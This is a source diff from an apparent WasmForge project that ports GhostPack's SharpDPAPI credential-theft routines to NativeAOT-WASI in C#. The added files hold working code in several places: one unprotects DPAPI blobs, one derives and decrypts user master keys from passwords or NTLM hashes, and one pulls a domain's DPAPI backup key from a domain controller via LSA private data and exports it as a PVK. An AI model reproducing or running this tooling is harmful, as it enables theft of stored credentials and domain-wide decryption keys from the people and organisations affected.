if (extList.Count == 0)
return TLV(0xA0, new byte[0]);
byte[] extSeq = TLV(0x30, Concat(extList.ToArray()));
byte[] extOidAttr = TLV(0x06, new byte[] { 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x0E });
byte[] extSet = TLV(0x31, extSeq);
byte[] extRequest = TLV(0x30, Concat(extOidAttr, extSet));
return TLV(0xA0, extRequest);
}
private static byte[] EncodeOid(string oid)
{
try
{
string[] parts = oid.Split('.');
int[] arcs = new int[parts.Length];
for (int i = 0; i < parts.Length; i++) arcs[i] = int.Parse(parts[i]);
var ms = new System.IO.MemoryStream();
ms.WriteByte((byte)(arcs[0] * 40 + arcs[1]));
for (int i = 2; i < arcs.Length; i++)
{
int v = arcs[i];
if (v == 0) { ms.WriteByte(0); continue; }
var stack = new System.Collections.Generic.Stack<byte>();
stack.Push((byte)(v & 0x7F));
v >>= 7;
while (v > 0)
{
stack.Push((byte)((v & 0x7F) | 0x80));
v >>= 7;
}
while (stack.Count > 0) ms.WriteByte(stack.Pop());
}
return ms.ToArray();
}
catch
{
return null;
}
}
private static byte[] BuildX500NameDer(string subject)
{
// Parse comma-separated AVA pairs. Each becomes a separate RDN.
var rdns = new System.Collections.Generic.List<byte[]>();
string[] parts = subject.Split(',');
foreach (var raw in parts)
{
string p = raw.Trim();
if (p.Length == 0) continue;
int eq = p.IndexOf('=');
if (eq <= 0) continue;
string key = p.Substring(0, eq).Trim().ToUpperInvariant();
string val = p.Substring(eq + 1).Trim();
byte[] oid;
switch (key)
{
case "CN": oid = new byte[] { 0x55, 0x04, 0x03 }; break;
case "O": oid = new byte[] { 0x55, 0x04, 0x0A }; break;
case "OU": oid = new byte[] { 0x55, 0x04, 0x0B }; break;
case "L": oid = new byte[] { 0x55, 0x04, 0x07 }; break;
case "ST": oid = new byte[] { 0x55, 0x04, 0x08 }; break;
case "C": oid = new byte[] { 0x55, 0x04, 0x06 }; break;
case "DC": oid = new byte[] { 0x09, 0x92, 0x26, 0x89, 0x93, 0xF2, 0x2C, 0x64, 0x01, 0x19 }; break;
case "E": oid = new byte[] { 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x01 }; break;
default: continue;
}
byte[] valTlv = TLV(0x0C, Encoding.UTF8.GetBytes(val));
byte[] oidTlv = TLV(0x06, oid);
byte[] atv = TLV(0x30, Concat(oidTlv, valTlv));
rdns.Add(TLV(0x31, atv));
}
return TLV(0x30, Concat(rdns.ToArray()));
}
// PKCS#1 RSAPrivateKey PEM output.
private static string BuildPrivateKeyPem(byte[] n, byte[] e, byte[] d,
byte[] p, byte[] q, byte[] dp, byte[] dq, byte[] iq)
{
byte[] ver = TLV(0x02, new byte[] { 0x00 });
byte[] inner = Concat(
ver,
TLV(0x02, IntegerWithLeadingZero(n)),
TLV(0x02, IntegerWithLeadingZero(e)),
TLV(0x02, IntegerWithLeadingZero(d)),
TLV(0x02, IntegerWithLeadingZero(p)),
TLV(0x02, IntegerWithLeadingZero(q)),
TLV(0x02, IntegerWithLeadingZero(dp)),
TLV(0x02, IntegerWithLeadingZero(dq)),
TLV(0x02, IntegerWithLeadingZero(iq)));
byte[] der = TLV(0x30, inner);
string b64 = Convert.ToBase64String(der, Base64FormattingOptions.InsertLineBreaks);
return "-----BEGIN RSA PRIVATE KEY-----\n" + b64 + "\n-----END RSA PRIVATE KEY-----\n";
}
private static BigInteger NewPositive(byte[] beBytes)
{
byte[] le = new byte[beBytes.Length + 1];
for (int i = 0; i < beBytes.Length; i++) le[i] = beBytes[beBytes.Length - 1 - i];
le[beBytes.Length] = 0x00;
return new BigInteger(le);
}
private static byte[] IntegerWithLeadingZero(byte[] bytes)
{
if (bytes.Length == 0) return new byte[] { 0x00 };
if ((bytes[0] & 0x80) != 0)
{
byte[] r = new byte[bytes.Length + 1];
Buffer.BlockCopy(bytes, 0, r, 1, bytes.Length);
return r;
}
return bytes;
}
private static byte[] TLV(byte tag, byte[] content)
{
byte[] lenBytes = DerLength(content.Length);
byte[] result = new byte[1 + lenBytes.Length + content.Length];
result[0] = tag;
Buffer.BlockCopy(lenBytes, 0, result, 1, lenBytes.Length);
Buffer.BlockCopy(content, 0, result, 1 + lenBytes.Length, content.Length);
return result;
}
private static byte[] TLVMulti(byte tag, byte[] content) => TLV(tag, content);
private static byte[] DerLength(int len)
{
if (len < 0x80) return new byte[] { (byte)len };
if (len <= 0xFF) return new byte[] { 0x81, (byte)len };
if (len <= 0xFFFF) return new byte[] { 0x82, (byte)(len >> 8), (byte)(len & 0xFF) };
return new byte[] { 0x83, (byte)((len >> 16) & 0xFF), (byte)((len >> 8) & 0xFF), (byte)(len & 0xFF) };
}
private static byte[] Concat(params byte[][] parts)
{
int total = 0;
foreach (var p in parts) total += p.Length;
byte[] result = new byte[total];
int offset = 0;
foreach (var p in parts)
{
Buffer.BlockCopy(p, 0, result, offset, p.Length);
offset += p.Length;
}
return result;
}
}
}
+549
View File
@@ -0,0 +1,549 @@
// WfDpapi.cs — DPAPI master key derivation + decryption via wasmforge crypto bridges.
//
// SharpDPAPI's Dpapi.CalculateKeys and Dpapi.DecryptMasterKeyWithSha use
// System.Security.Cryptography.HMACSHA1/HMACSHA512/AesCryptoServiceProvider
// which throw PlatformNotSupportedException on NativeAOT-WASI. This helper
// mirrors the same crypto operations but routes through CryptoHostHelper
// which uses BCrypt CNG on the host side.
//
// Reference: github.com/GhostPack/SharpDPAPI Dpapi.cs:
// GetMasterKey() line 1740
// CalculateKeys() line 1755
// DecryptMasterKeyWithSha() line 1907
// DerivePreKey() line 1962
// DecryptAes256HmacSha512() line 1997
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
namespace WasmForge.Bridge
{
public static unsafe class WfDpapi
{
// ── mod_invoke bridge primitives (WfNetapi.cs pattern) ───────────────────
[DllImport("env", EntryPoint = "mod_load")]
private static extern uint mod_load(uint namePtr);
[DllImport("env", EntryPoint = "mod_resolve")]
private static extern uint mod_resolve(uint libHandle, uint namePtr);
[DllImport("env", EntryPoint = "mod_invoke")]
private static extern ulong mod_invoke(
ulong procHandle, uint nargs,
ulong a0, ulong a1, ulong a2, ulong a3,
ulong a4, ulong a5, ulong a6, ulong a7,
ulong a8, ulong a9, ulong a10, ulong a11,
ulong a12, ulong a13, ulong a14,
ulong ret1Ptr, ulong errPtr);
private static uint _crypt32;
private static uint _kernel32Dpapi;
private static uint _ntdllDpapi;
private static uint _hCryptUnprotectData;
private static uint _hLocalFreeDpapi;
private static uint _hVirtualAllocDpapi;
private static uint _hVirtualFreeDpapi;
private static uint _hRtlMoveMemoryDpapi;
private static uint DpapiResolve(string dll, ref uint cachedLib, string fn, ref uint cachedProc)
{
if (cachedProc != 0) return cachedProc;
if (cachedLib == 0)
{
byte[] db = Encoding.ASCII.GetBytes(dll + "\0");
fixed (byte* dp = db) cachedLib = mod_load((uint)(IntPtr)dp);
if (cachedLib == 0) return 0;
}
byte[] fb = Encoding.ASCII.GetBytes(fn + "\0");
fixed (byte* fp = fb) cachedProc = mod_resolve(cachedLib, (uint)(IntPtr)fp);
return cachedProc;
}
private static ulong DpapiInvoke(uint proc, uint nargs,
ulong a0=0, ulong a1=0, ulong a2=0, ulong a3=0,
ulong a4=0, ulong a5=0, ulong a6=0, ulong a7=0)
{
ulong ret1=0, err=0;
return mod_invoke((ulong)proc, nargs,
a0, a1, a2, a3, a4, a5, a6, a7, 0, 0, 0, 0, 0, 0, 0,
(ulong)(uint)(IntPtr)(&ret1),
(ulong)(uint)(IntPtr)(&err));
}
// ── Unprotect (CryptUnprotectData) ────────────────────────────────────────
//
// Replaces System.Security.Cryptography.ProtectedData.Unprotect which
// throws PlatformNotSupportedException on NativeAOT-WASI.
//
// DATA_BLOB in WASM (32-bit) = { uint cbData; uint pbData; } = 8 bytes.
//
// Strategy:
// 1. Build input DATA_BLOB structs in WASM stackalloc memory.
// mod_invoke translates WASM pointers → host pointers automatically.
// 2. Allocate 16-byte output DATA_BLOB on the HOST via VirtualAlloc so
// CryptUnprotectData can fill it with a LocalAlloc-owned buffer.
// 3. After success, copy the decrypted bytes back via RtlMoveMemory
// then LocalFree the host buffer, VirtualFree the struct area.
//
// ptrmask 0x5f = args 0,1,2,3,4,6 are pointer args (ppszDataDescr at
// arg1 is NULL so mod_invoke skips translation on 0 values).
//
// The DataProtectionScope parameter is accepted to match the BCL API
// signature but ignored — CryptUnprotectData always uses the current
// user's DPAPI context.
public static byte[] Unprotect(byte[] data, byte[] optionalEntropy, int scope)
{
if (data == null || data.Length == 0) return Array.Empty<byte>();
try
{
uint pCUD = DpapiResolve("crypt32.dll", ref _crypt32, "CryptUnprotectData", ref _hCryptUnprotectData);
uint pLF = DpapiResolve("kernel32.dll", ref _kernel32Dpapi, "LocalFree", ref _hLocalFreeDpapi);
uint pVA = DpapiResolve("kernel32.dll", ref _kernel32Dpapi, "VirtualAlloc", ref _hVirtualAllocDpapi);
uint pVF = DpapiResolve("kernel32.dll", ref _kernel32Dpapi, "VirtualFree", ref _hVirtualFreeDpapi);
uint pMove = DpapiResolve("ntdll.dll", ref _ntdllDpapi, "RtlMoveMemory", ref _hRtlMoveMemoryDpapi);
if (pCUD == 0 || pLF == 0 || pVA == 0 || pVF == 0) return Array.Empty<byte>();
// Allocate host-side output DATA_BLOB (16 bytes for alignment).
ulong hostOut = DpapiInvoke(pVA, 4, 0u, 16u, 0x3000u, 4u);
if (hostOut == 0) return Array.Empty<byte>();
try
{
bool hasEnt = optionalEntropy != null && optionalEntropy.Length > 0;
ulong ok;
fixed (byte* pData = data)
{
// WASM-side DATA_BLOB: { cbData, pbData } each 4 bytes.
uint* inBlob = stackalloc uint[2];
inBlob[0] = (uint)data.Length;
inBlob[1] = (uint)(IntPtr)pData;
if (hasEnt)
{
fixed (byte* pEnt = optionalEntropy)
{
uint* entBlob = stackalloc uint[2];
entBlob[0] = (uint)optionalEntropy!.Length;
entBlob[1] = (uint)(IntPtr)pEnt;
ok = DpapiInvoke(pCUD, 7,
(ulong)(uint)(IntPtr)inBlob, // pDataIn (WASM → translated)
0, // ppszDataDescr = NULL
(ulong)(uint)(IntPtr)entBlob, // pOptionalEntropy (WASM → translated)
0, // pvReserved = NULL
0, // pPromptStruct = NULL
0, // dwFlags = 0
hostOut); // pDataOut (host addr, passes through)
}
}
else
{
ok = DpapiInvoke(pCUD, 7,
(ulong)(uint)(IntPtr)inBlob,
0, 0, 0, 0, 0,
hostOut);
}
}
if (ok == 0) return Array.Empty<byte>();
// Read cbData (first 4 bytes) and pbData (next 4 bytes) from host struct.
uint outCb = 0;
uint outPb = 0;
if (pMove != 0)
{
DpapiInvoke(pMove, 3, (ulong)(uint)(IntPtr)(&outCb), hostOut, 4u);
DpapiInvoke(pMove, 3, (ulong)(uint)(IntPtr)(&outPb), hostOut + 4, 4u);
}
if (outCb == 0 || outPb == 0) return Array.Empty<byte>();
// Copy decrypted bytes from host buffer into WASM.
byte[] result = new byte[outCb];
fixed (byte* rp = result)
{
if (pMove != 0)
DpapiInvoke(pMove, 3, (ulong)(uint)(IntPtr)rp, outPb, outCb);
}
// Free the CryptUnprotectData-allocated output buffer.
DpapiInvoke(pLF, 1, outPb);
return result;
}
finally
{
DpapiInvoke(pVF, 3, hostOut, 0u, 0x8000u); // MEM_RELEASE
}
}
catch
{
return Array.Empty<byte>();
}
}
/// <summary>
/// Mirrors SharpDPAPI's Dpapi.CalculateKeys (BCL version) for the
/// password / ntlm / credkey paths. Returns the SHA bytes used as
/// input to PBKDF2 during master key decryption.
/// </summary>
public static byte[] CalculateKeys(bool domain = true, string password = "", string ntlm = "", string credkey = "", string userSID = "", string directory = "")
{
if (!String.IsNullOrEmpty(password))
{
byte[] passwordBytes = Encoding.Unicode.GetBytes(password);
byte[] sha1pwd = CryptoHostHelper.Sha1(passwordBytes);
if (sha1pwd == null) return null;
byte[] saltBytes = Encoding.Unicode.GetBytes(userSID);
return CryptoHostHelper.HmacSha1(sha1pwd, saltBytes);
}
if (!String.IsNullOrEmpty(ntlm))
{
byte[] ntlmBytes = HexToBytes(ntlm);
byte[] saltBytes = Encoding.Unicode.GetBytes(userSID);
return CryptoHostHelper.HmacSha1(ntlmBytes, saltBytes);
}
if (!String.IsNullOrEmpty(credkey))
{
byte[] credkeyBytes = HexToBytes(credkey);
byte[] saltBytes = Encoding.Unicode.GetBytes(userSID);
return CryptoHostHelper.HmacSha1(credkeyBytes, saltBytes);
}
Console.WriteLine(" [X] WfDpapi.CalculateKeys() error: either /password, /ntlm, or /credkey must be supplied");
return null;
}
/// <summary>
/// Mirrors SharpDPAPI's GetMasterKey (line 1740). Extracts the master
/// key sub-blob from a master key file blob: skips 96-byte header,
/// reads 8-byte sub-blob length, skips 4*8=32 bytes of length headers,
/// returns the master key sub-blob.
/// </summary>
private static byte[] GetMasterKey(byte[] masterKeyBytes)
{
int offset = 96;
if (offset + 8 > masterKeyBytes.Length) return null;
long masterKeyLen = BitConverter.ToInt64(masterKeyBytes, offset);
offset += 4 * 8; // skip the 4 key length headers (8 bytes each)
if (masterKeyLen <= 0 || offset + masterKeyLen > masterKeyBytes.Length) return null;
byte[] sub = new byte[masterKeyLen];
Array.Copy(masterKeyBytes, offset, sub, 0, masterKeyLen);
return sub;
}
/// <summary>
/// Mirrors SharpDPAPI's Dpapi.DecryptMasterKeyWithSha (line 1907).
///
/// Master key sub-blob layout (offsets relative to start of mkBytes):
/// +0 Version (4 bytes, skipped)
/// +4 Salt (16 bytes)
/// +20 Rounds (int32)
/// +24 AlgHash (int32) — 32782=SHA512, 32777/32772=SHA1
/// +28 AlgCrypt (int32) — 26128=AES-256, 26115=3DES
/// +32 EncData (rest)
///
/// For AES-256+SHA512 (modern DPAPI):
/// pre = PBKDF2-HMAC-SHA512(shaBytes, salt, rounds, 48)
/// key = pre[0:32], iv = pre[32:48]
/// plain = AES-CBC-decrypt(encData, key, iv) with zero-padding
/// masterKeyFull = plain[-64:]
/// return (guid, hex(SHA1(masterKeyFull)))
/// </summary>
public static KeyValuePair<string, string> DecryptMasterKeyWithSha(byte[] masterKeyBytes, byte[] shaBytes)
{
try
{
if (masterKeyBytes == null || masterKeyBytes.Length < 96 + 32)
return default;
// GUID is 36 chars UTF-16-LE at offset 12, length 72 bytes.
string guidInner = Encoding.Unicode.GetString(masterKeyBytes, 12, 72);
string guidMasterKey = "{" + guidInner.Replace("\0", "").Trim() + "}";
byte[] mkBytes = GetMasterKey(masterKeyBytes);
if (mkBytes == null || mkBytes.Length < 32) return default;
int offset = 4; // skip version
byte[] salt = SubArray(mkBytes, offset, 16);
offset += 16;
int rounds = BitConverter.ToInt32(mkBytes, offset);
offset += 4;
int algHash = BitConverter.ToInt32(mkBytes, offset);
offset += 4;
int algCrypt = BitConverter.ToInt32(mkBytes, offset);
offset += 4;
byte[] encData = SubArray(mkBytes, offset, mkBytes.Length - offset);
if (encData.Length == 0) return default;
byte[] derivedPreKey = DerivePreKey(shaBytes, algHash, salt, rounds);
if (derivedPreKey == null) return default;
// CALG_AES_256 (26128) with CALG_SHA_512 (32782)
if (algCrypt == 26128 && algHash == 32782)
{
byte[] mkSha1 = DecryptAes256HmacSha512(shaBytes, derivedPreKey, encData);
if (mkSha1 == null) return default;
return new KeyValuePair<string, string>(guidMasterKey, BytesToHex(mkSha1));
}
// CALG_3DES (26115) — not implemented in bridge; SharpDPAPI handles
// it but it requires DES key derivation we haven't wired yet.
if (algCrypt == 26115)
{
Console.WriteLine($" [X] WfDpapi: 3DES master key decryption not yet supported for {guidMasterKey}");
return default;
}
Console.WriteLine($" [X] WfDpapi: unsupported algCrypt={algCrypt:X} algHash={algHash:X}");
return default;
}
catch (Exception e)
{
Console.WriteLine($" [X] WfDpapi.DecryptMasterKeyWithSha exception: {e.Message}");
return default;
}
}
private static byte[] DerivePreKey(byte[] shaBytes, int algHash, byte[] salt, int rounds)
{
switch (algHash)
{
case 32782: // CALG_SHA_512
// Windows DPAPI uses the Microsoft-CryptoAPI PBKDF2 variant
// (mscrypto=true in SharpDPAPI's third-party Pbkdf2.cs), which
// deviates from RFC2898: after each iteration the accumulated
// XOR result is fed back into HMAC instead of the previous
// U_i. This is the "MS PBKDF2 bug" that Mimikatz / SharpDPAPI
// / impacket all replicate to match what Windows actually
// produces on disk. Real bcrypt!BCryptDeriveKeyPBKDF2 is
// RFC-compliant and produces different bytes; the WfHostBridge
// MsPbkdf2 helpers run the buggy loop entirely host-side via
// BCrypt HMAC for performance (8000 iterations per master
// key — running the loop in C# via the host bridge would
// require 40k+ wf_call round-trips per key).
// Route through the generic xc_op crypto dispatcher: one
// wf_call per master-key derivation, the entire iteration
// loop runs host-side via Go-native BCrypt.
return CryptoHostHelper.MsPbkdf2Sha512Op(shaBytes, salt, rounds, 48);
case 32777: // CALG_HMAC
case 32772: // CALG_SHA1
return CryptoHostHelper.MsPbkdf2Sha1Op(shaBytes, salt, rounds, 32);
default:
Console.WriteLine($" [X] WfDpapi.DerivePreKey: unsupported algHash={algHash:X}");
return null;
}
}
/// <summary>
/// Mirrors SharpDPAPI's DecryptAes256HmacSha512 (line 1997).
/// key = derivedPreKey[0:32], iv = derivedPreKey[32:48].
/// Zero-pad encData to a multiple of 16 bytes, AES-CBC-decrypt,
/// take last 64 bytes as masterKeyFull, return SHA1(masterKeyFull).
/// </summary>
private static byte[] DecryptAes256HmacSha512(byte[] shaBytes, byte[] derivedPreKey, byte[] encData)
{
if (derivedPreKey == null || derivedPreKey.Length < 48) return null;
byte[] key = SubArray(derivedPreKey, 0, 32);
byte[] iv = SubArray(derivedPreKey, 32, 16);
// Pad encData to multiple of 16 with zeros (matches PaddingMode.Zeros).
int padLen = (16 - (encData.Length % 16)) % 16;
byte[] padded = encData;
if (padLen != 0)
{
padded = new byte[encData.Length + padLen];
Array.Copy(encData, padded, encData.Length);
}
byte[] plain = CryptoHostHelper.AesCbcDecrypt(key, iv, padded);
if (plain == null || plain.Length < 64) return null;
// Native AesManaged with PaddingMode.Zeros, given encData not a
// multiple of 16, returns plaintext of length encData.Length
// (the last partial block decrypts plus zero-pad is stripped to
// match the original input length). When we zero-pad encData
// ourselves before BCrypt, we get an extra block of decrypted
// padding at the end — masterKeyFull must skip that extra
// block, not include it. Slice from (encData.Length - 64),
// which equals (plain.Length - padLen - 64).
int effLen = encData.Length;
if (effLen < 64) return null;
byte[] masterKeyFull = SubArray(plain, effLen - 64, 64);
return CryptoHostHelper.Sha1(masterKeyFull);
}
// ── helpers ────────────────────────────────────────────────────
private static byte[] HexToBytes(string hex)
{
if (string.IsNullOrEmpty(hex)) return Array.Empty<byte>();
if (hex.Length % 2 != 0) return Array.Empty<byte>();
byte[] result = new byte[hex.Length / 2];
for (int i = 0; i < result.Length; i++)
result[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
return result;
}
private static byte[] SubArray(byte[] src, int start, int len)
{
if (start < 0 || len < 0 || start + len > src.Length)
return Array.Empty<byte>();
byte[] dst = new byte[len];
Array.Copy(src, start, dst, 0, len);
return dst;
}
private static string BytesToHex(byte[] bytes)
{
// Uppercase to match SharpDPAPI's BitConverter.ToString format
// (which produces uppercase hex separated by dashes; we drop the
// dashes upstream).
var sb = new StringBuilder(bytes.Length * 2);
foreach (var b in bytes) sb.Append(b.ToString("X2"));
return sb.ToString();
}
/// <summary>
/// Drop-in replacement for SharpDPAPI's Crypto.DeriveKey — Microsoft
/// DPAPI session-key derivation. SharpDPAPI's BCL version calls
/// HMACSHA512 / SHA1Managed via System.Security.Cryptography, both
/// of which PNS on NativeAOT-WASI. We route to the HMAC/SHA host
/// bridges instead.
///
/// algHash: 32782 = CALG_SHA_512, 32772 = CALG_SHA_1
/// entropy: optional, appended to salt (or to inner buffer for SHA1)
/// per Microsoft's "magic" DPAPI session-key derivation.
///
/// Returns the derived session key bytes — 64 for SHA512 path,
/// 20*N for the SHA1 DeriveKeyRaw expansion which the caller will
/// truncate to the required keyLen.
/// </summary>
public static byte[] DeriveKey(byte[] keyBytes, byte[] saltBytes, int algHash, byte[] entropy = null)
{
if (keyBytes == null || saltBytes == null)
return Array.Empty<byte>();
if (algHash == 32782) // CALG_SHA_512
{
byte[] data = entropy != null && entropy.Length > 0
? Combine(saltBytes, entropy)
: saltBytes;
return CryptoHostHelper.HmacSha512(keyBytes, data) ?? Array.Empty<byte>();
}
if (algHash == 32772) // CALG_SHA_1 — DPAPI's custom HMAC-like construction
{
// Mirror of Crypto.DeriveKey CALG_SHA1 branch (Crypto.cs:123-160).
// Builds ipad/opad with magic '6'/'\\' bytes XOR'd with the key,
// then SHA1(opad || SHA1(ipad || salt) [|| entropy]).
byte[] ipad = new byte[64];
byte[] opad = new byte[64];
for (int i = 0; i < 64; i++) { ipad[i] = (byte)'6'; opad[i] = (byte)'\\'; }
for (int i = 0; i < keyBytes.Length && i < 64; i++)
{
ipad[i] ^= keyBytes[i];
opad[i] ^= keyBytes[i];
}
byte[] bufferI = Combine(ipad, saltBytes);
byte[] sha1BufferI = CryptoHostHelper.Sha1(bufferI) ?? Array.Empty<byte>();
byte[] bufferO = Combine(opad, sha1BufferI);
if (entropy != null && entropy.Length > 0)
bufferO = Combine(bufferO, entropy);
byte[] sha1Buffer0 = CryptoHostHelper.Sha1(bufferO) ?? Array.Empty<byte>();
return DeriveKeyRaw(sha1Buffer0, algHash);
}
return Array.Empty<byte>();
}
// Mimikatz / Crypto.cs:DeriveKeyRaw — expands the 20-byte SHA1 result
// into a 40-byte stream by SHA1(prefix || hash) with two magic prefixes.
private static byte[] DeriveKeyRaw(byte[] hashBytes, int algHash)
{
byte[] ipad = new byte[64];
byte[] opad = new byte[64];
for (int i = 0; i < 64; i++) { ipad[i] = 0x36; opad[i] = 0x5c; }
for (int i = 0; i < hashBytes.Length && i < 64; i++)
{
ipad[i] ^= hashBytes[i];
opad[i] ^= hashBytes[i];
}
byte[] sha1Inner = CryptoHostHelper.Sha1(ipad) ?? Array.Empty<byte>();
byte[] sha1Outer = CryptoHostHelper.Sha1(opad) ?? Array.Empty<byte>();
byte[] result = new byte[sha1Inner.Length + sha1Outer.Length];
Array.Copy(sha1Inner, 0, result, 0, sha1Inner.Length);
Array.Copy(sha1Outer, 0, result, sha1Inner.Length, sha1Outer.Length);
return result;
}
private static byte[] Combine(byte[] a, byte[] b)
{
if (a == null) return b ?? Array.Empty<byte>();
if (b == null) return a;
byte[] r = new byte[a.Length + b.Length];
Buffer.BlockCopy(a, 0, r, 0, a.Length);
Buffer.BlockCopy(b, 0, r, a.Length, b.Length);
return r;
}
/// <summary>
/// Drop-in replacement for SharpDPAPI's Crypto.DecryptBlob. AesManaged
/// and TripleDESCryptoServiceProvider both throw PlatformNotSupportedException
/// on NativeAOT-WASI, so route through the AES-CBC host bridge for AES;
/// 3DES not implemented in this bridge yet.
///
/// algCrypt: 26128 = CALG_AES_256, 26115 = CALG_3DES
/// paddingMode (matches SharpDPAPI): 0=Zeros, 1=PKCS7
/// </summary>
public static byte[] DecryptBlob(byte[] ciphertext, byte[] key, int algCrypt, int paddingMode = 0)
{
if (ciphertext == null || ciphertext.Length == 0) return Array.Empty<byte>();
if (key == null || key.Length == 0) return Array.Empty<byte>();
if (algCrypt == 26128) // CALG_AES_256
{
byte[] iv = new byte[16]; // zero IV per SharpDPAPI convention
// Pad to block size with zeros (Mode.Zeros expectation).
int padLen = (16 - (ciphertext.Length % 16)) % 16;
byte[] padded = ciphertext;
if (padLen != 0)
{
padded = new byte[ciphertext.Length + padLen];
Array.Copy(ciphertext, padded, ciphertext.Length);
}
byte[] plain = CryptoHostHelper.AesCbcDecrypt(key, iv, padded);
if (plain == null) return Array.Empty<byte>();
// If PKCS7 padding, strip it.
if (paddingMode == 1 && plain.Length > 0)
{
int pad = plain[plain.Length - 1];
if (pad >= 1 && pad <= 16)
{
bool valid = true;
for (int i = plain.Length - pad; i < plain.Length; i++)
if (plain[i] != pad) { valid = false; break; }
if (valid)
{
byte[] trimmed = new byte[plain.Length - pad];
Array.Copy(plain, trimmed, trimmed.Length);
return trimmed;
}
}
}
return plain;
}
if (algCrypt == 26115) // CALG_3DES
{
Console.WriteLine($"[!] WfDpapi.DecryptBlob: CALG_3DES (26115) not yet supported on NativeAOT-WASI bridge");
return Array.Empty<byte>();
}
Console.WriteLine($"[!] WfDpapi.DecryptBlob: unsupported algCrypt={algCrypt}");
return Array.Empty<byte>();
}
}
}
+137
View File
@@ -0,0 +1,137 @@
// WfDpapiBackupkey.cs — domain DPAPI backup-key retrieval via the host bridge.
//
// SharpDPAPI's Backup.GetBackupKey runs this chain on Windows:
//
// Interop.GetDCName() (DsGetDcNameW)
// LsaOpenPolicy(\\<dc>, POLICY_GET_PRIVATE_INFORMATION)
// LsaRetrievePrivateData(handle, "G$BCKUPKEY_PREFERRED") → 16-byte GUID
// LsaRetrievePrivateData(handle, "G$BCKUPKEY_<GUID>") → key blob
// LsaClose(handle)
//
// Both LSA APIs write a host-allocated LSA_UNICODE_STRING* into an OUT
// parameter; their Buffer field is also a host pointer. wasm32 C# would
// truncate both via Marshal.PtrToStructure on a 32-bit IntPtr → OOB trap.
// The host bridge `dpapi_bkey` runs the entire chain on the host and returns
// only the materialised byte payloads, then this helper formats the kirbi
// (PVK header + base64) exactly the way native SharpDPAPI does.
//
// PVK wrapping (matches native lines 75-88 of lib/Backup.cs):
// The raw key blob is shaped: [version u32][keyLen u32][certLen u32][key bytes][cert bytes].
// PVK output buffer length = keyLen + 24. The first 24 bytes are a PVK
// header: magic 0xB0B5F11E little-endian at offset 0, "1" at offset 8,
// keyLen little-endian at offset 20. The key bytes follow starting at
// offset 24. We don't emit the cert.
using System;
using System.Runtime.InteropServices;
namespace WasmForge.Helpers
{
public static unsafe class WfDpapiBackupkey
{
[DllImport("env", EntryPoint = "dpapi_bkey")]
private static extern uint NativeDpapiBackupkey(
uint serverPtr, uint serverLen,
uint outBufPtr, uint outBufCap);
public struct Result
{
public bool Ok;
public uint Status; // 0 on success; otherwise Win32 / NTSTATUS code from host
public string DcName; // FQDN of the discovered (or supplied) DC
public byte[] GuidBytes; // raw 16 bytes
public string GuidString; // hyphenated form
public string KeyName; // "G$BCKUPKEY_<GUID>"
public byte[] KeyBlob; // raw bytes (version/keyLen/certLen + payload)
public byte[] KeyPvk; // PVK-wrapped key ready for base64
}
/// <summary>
/// Run the full DsGetDcName + LSA chain via the host bridge. When
/// <paramref name="server"/> is null or empty, the host calls
/// DsGetDcNameW to find the current domain controller.
/// </summary>
public static Result Retrieve(string server)
{
var res = new Result();
byte[] serverBytes = string.IsNullOrEmpty(server)
? Array.Empty<byte>()
: System.Text.Encoding.UTF8.GetBytes(server);
const int outCap = 256 * 1024; // generous — keys are typically ~1 KiB
byte[] outBuf = new byte[outCap];
uint written;
fixed (byte* sp = serverBytes.Length > 0 ? serverBytes : new byte[1])
fixed (byte* op = outBuf)
{
uint spArg = serverBytes.Length > 0 ? (uint)(IntPtr)sp : 0;
written = NativeDpapiBackupkey(spArg, (uint)serverBytes.Length,
(uint)(IntPtr)op, (uint)outBuf.Length);
}
if (written < 16) // minimum: status(4) + 3 × empty length(4)
return res;
int off = 0;
res.Status = BitConverter.ToUInt32(outBuf, off); off += 4;
int dcLen = (int)BitConverter.ToUInt32(outBuf, off); off += 4;
if (off + dcLen > (int)written) return res;
res.DcName = dcLen > 0 ? System.Text.Encoding.UTF8.GetString(outBuf, off, dcLen) : "";
off += dcLen;
int guidLen = (int)BitConverter.ToUInt32(outBuf, off); off += 4;
if (off + guidLen > (int)written) return res;
if (guidLen == 16)
{
res.GuidBytes = new byte[16];
Array.Copy(outBuf, off, res.GuidBytes, 0, 16);
res.GuidString = new Guid(res.GuidBytes).ToString();
res.KeyName = "G$BCKUPKEY_" + res.GuidString;
}
off += guidLen;
int blobLen = (int)BitConverter.ToUInt32(outBuf, off); off += 4;
if (off + blobLen > (int)written) return res;
if (blobLen > 0)
{
res.KeyBlob = new byte[blobLen];
Array.Copy(outBuf, off, res.KeyBlob, 0, blobLen);
res.KeyPvk = BuildPvk(res.KeyBlob);
}
off += blobLen;
res.Ok = res.Status == 0 && !string.IsNullOrEmpty(res.DcName)
&& res.GuidBytes != null && res.KeyPvk != null;
return res;
}
/// <summary>
/// Wrap the raw LSA blob in PVK format matching SharpDPAPI's
/// Backup.GetBackupKey lines 75-88. Returns null on a malformed blob.
/// </summary>
public static byte[] BuildPvk(byte[] blob)
{
if (blob == null || blob.Length < 12) return null;
int keyLen = BitConverter.ToInt32(blob, 4);
if (keyLen <= 0 || keyLen + 12 > blob.Length) return null;
byte[] pvk = new byte[keyLen + 24];
// Magic: PVK_MAGIC = 0xB0B5F11E, stored little-endian as bytes
// [1E F1 B5 B0]. (Matches Microsoft's PVKHeader.PrivateKeyMagic.)
pvk[0] = 0x1E;
pvk[1] = 0xF1;
pvk[2] = 0xB5;
pvk[3] = 0xB0;
// PvkKeyType marker.
pvk[8] = 1;
// KeyLen at offset 20 (little-endian uint).
byte[] lenBytes = BitConverter.GetBytes((uint)keyLen);
Array.Copy(lenBytes, 0, pvk, 20, 4);
// Key bytes start at offset 12 in the raw blob, written at PVK offset 24.
Array.Copy(blob, 12, pvk, 24, keyLen);
return pvk;
}
}
}
+357
View File
@@ -0,0 +1,357 @@
// WfEventLog.cs — System.Diagnostics.Eventing.Reader shim backed by
// real wevtapi.dll calls via WasmForge's wf_call bridge.
//
// The Win11 host's wevtapi.dll is reached through DllImport declarations
// below. wasmforge's pinvoke_scanner.go (EmitDirectPInvokeProps) walks
// every .cs file looking for [DllImport("...")] attributes, so adding
// wevtapi here auto-wires it into Properties/WfDirectPInvoke.props.
// No patcher rule is needed to register the DLL.
//
